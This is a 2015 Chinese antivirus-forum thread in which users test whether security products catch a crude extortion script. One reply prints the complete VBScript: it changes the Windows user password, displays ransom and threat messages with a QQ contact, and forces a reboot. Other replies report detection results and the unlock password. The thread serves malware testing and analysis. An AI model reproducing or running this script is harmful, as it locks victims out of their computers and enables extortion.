查看: 4083|回复: 25
收起左侧

[病毒样本] 一个完全没有技术含量的敲竹杠……

[复制链接]
zhou0197
发表于 2015-9-6 16:31:20 | 显示全部楼层 |阅读模式


只是想求证一点,360在默认设置的情况下(杀毒+卫士全套)到底能否拦截?

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
学雷锋做人
头像被屏蔽
发表于 2015-9-6 16:50:55 | 显示全部楼层
本帖最后由 学雷锋做人 于 2015-9-6 16:52 编辑

这个我没有尝试过,没有全套也不敢说
密码:134679258
haoge250
发表于 2015-9-6 17:11:02 | 显示全部楼层
本帖最后由 haoge250 于 2015-9-6 18:27 编辑

[mw_shl_code=css,true]Const strPassword = "134679258"
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim UserName
UserName = WshNetwork.UserName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&UserName)
Domain.SetPassword strPassword
Domain.SetInfo
WScript.Echo("你上当了"&TSName)
WScript.Echo("你的电脑密码被我改了")
WScript.Echo("重装系统是没用的")
WScript.Echo("这是鬼影病毒,阴魂不散!")
WScript.Echo("开机会有密码")
WScript.Echo("想要密码吗?")
WScript.Echo("加QQ  2038993230")
WScript.Echo("准备100元红包 或 冲100Q币 或面值100元的充值卡")
WScript.Echo("付钱后,我会教你盗号、锁电脑、黑客技术")
WScript.Echo("否则 你电脑修好后,我会利用后台把你电脑损坏!让你电脑瘫痪")
WScript.Echo("不信,走着瞧!")
WScript.Echo("想学者加我qq,神恒技术团队路过,")
WScript.Echo("记住下面的QQ号,一会就消失!!!")
WScript.Echo("qq:  2038993230")
WScript.Echo("qq:  2038993230")  
WScript.Echo("我要消失喽,拜拜( ^_^ )/~~拜拜")
a = msgbox("嘿嘿!")
set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.run "shutdown -r -t 1"
Set WshShell = Nothing [/mw_shl_code]

KIS MISS
双击密码被修改。
aboringman
发表于 2015-9-6 17:22:42 | 显示全部楼层
趋势国际 实测防御失败
asdx145266
发表于 2015-9-6 18:32:14 | 显示全部楼层
本帖最后由 asdx145266 于 2015-9-6 20:06 编辑
学雷锋做人 发表于 2015-9-6 16:50
这个我没有尝试过,没有全套也不敢说
密码:134679258


因为你给了密码,咱实机测试了一下,G data被过,直接重启,密码正确,谢谢了
虚拟机 BD        也被过了
hxdasdf
发表于 2015-9-6 18:59:56 | 显示全部楼层
本帖最后由 hxdasdf 于 2015-9-6 19:15 编辑

这也能算病毒

根本不需要杀软出马。。

系统win10 x64

首先记事本



然后双击,smartscreen拦截



选择运行,无法运行



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
fuzhk
发表于 2015-9-6 19:08:33 | 显示全部楼层
红伞:CLEAN
手中的红蜻蜓
发表于 2015-9-6 20:37:25 来自手机 | 显示全部楼层
毛豆沙盒低权限级别不知会被过吗?
820119sly
发表于 2015-9-6 21:07:17 | 显示全部楼层
手中的红蜻蜓 发表于 2015-9-6 20:37
毛豆沙盒低权限级别不知会被过吗?


实机测试毛豆低权限拦截

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
a908499916
发表于 2015-9-6 21:30:49 | 显示全部楼层
haoge250 发表于 2015-9-6 17:11
[mw_shl_code=css,true]Const strPassword = "134679258"
Dim WshNetwork
Set WshNetwork = CreateObject ...

直接双击?太狠了。卡巴应用程式控制里面,设置组策略任何程序不允许修改账户
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-5-21 16:01 , Processed in 0.123626 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表